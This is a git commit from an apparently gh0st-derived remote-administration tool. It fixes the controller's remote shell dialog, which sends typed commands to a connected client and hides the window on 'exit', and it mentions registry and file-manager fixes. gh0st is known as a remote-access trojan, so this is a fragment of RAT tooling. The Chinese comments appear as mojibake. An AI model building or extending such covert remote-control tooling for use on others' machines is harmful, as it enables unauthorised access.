修复注册表管理窗口关闭时崩溃的缺陷

1、还原客户端的文件管理模块代码为gh0st的源码3.6版本.

2、修复上述"cmd窗口总是将输入命令输出2次"的遗留问题。

3、打开注册表关闭后崩溃,参照按对文件管理窗口的修改进行处理。遗留问题:并无内存泄漏,但退出时报"HEAP: Free Heap
modified after it was freed"问题。
This commit is contained in:
yuanyuanxiang
2019-01-12 18:21:42 +08:00
parent 135a3439d1
commit 681ab9bd82
30 changed files with 913 additions and 562 deletions

View File

@@ -131,16 +131,26 @@ BOOL CShellDlg::PreTranslateMessage(MSG* pMsg)
if (pMsg->wParam == VK_RETURN && pMsg->hwnd == m_Edit.m_hWnd)
{
//<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ڵ<EFBFBD><DAB5><EFBFBD><EFBFBD>ݴ<EFBFBD>С
int iLength = m_Edit.GetWindowTextLength(); //Hello>dir 3
int iLength = m_Edit.GetWindowTextLength();
CString str;
//<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ڵ<EFBFBD><DAB5>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>
m_Edit.GetWindowText(str);//dir\r\n
m_Edit.GetWindowText(str);
//<2F><><EFBFBD><EFBFBD>з<EFBFBD>
str += "\r\n";
//<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>׵<EFBFBD>ַ<EFBFBD>ټ<EFBFBD><D9BC><EFBFBD>ԭ<EFBFBD>е<EFBFBD><D0B5>ַ<EFBFBD><D6B7><EFBFBD>λ<EFBFBD>ã<EFBFBD><C3A3><EFBFBD>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
//Ȼ<><C8BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݷ<EFBFBD><DDB7>ͳ<EFBFBD>ȥ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_iocpServer->OnClientPreSending(m_ContextObject, (LPBYTE)str.GetBuffer(0) + m_nCurSel, str.GetLength() - m_nCurSel);
m_nCurSel = m_Edit.GetWindowTextLength(); //<2F><><EFBFBD><EFBFBD>λm_nCurSel m_nCurSel = 3
//Ȼ<><C8BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݷ<EFBFBD><DDB7>ͳ<EFBFBD>ȥ
LPBYTE pSrc = (LPBYTE)str.GetBuffer(0) + m_nCurSel;
#ifdef _DEBUG
OutputDebugStringA("[Shell]=> ");
OutputDebugStringA((char*)pSrc);
#endif
int length = str.GetLength() - m_nCurSel;
m_iocpServer->OnClientPreSending(m_ContextObject, pSrc, length);
m_nCurSel = m_Edit.GetWindowTextLength();
if (0 == strcmp((char*)pSrc, "exit\r\n"))
{
ShowWindow(SW_HIDE);
}
}
// <20><><EFBFBD><EFBFBD>VK_BACK
if (pMsg->wParam == VK_BACK && pMsg->hwnd == m_Edit.m_hWnd)
@@ -148,9 +158,9 @@ BOOL CShellDlg::PreTranslateMessage(MSG* pMsg)
if (m_Edit.GetWindowTextLength() <= m_nReceiveLength)
return true;
}
// ʾ<><CABE><EFBFBD><EFBFBD>
//dir\r\n 5
//hello\r\n 7
//
}
return CDialog::PreTranslateMessage(pMsg);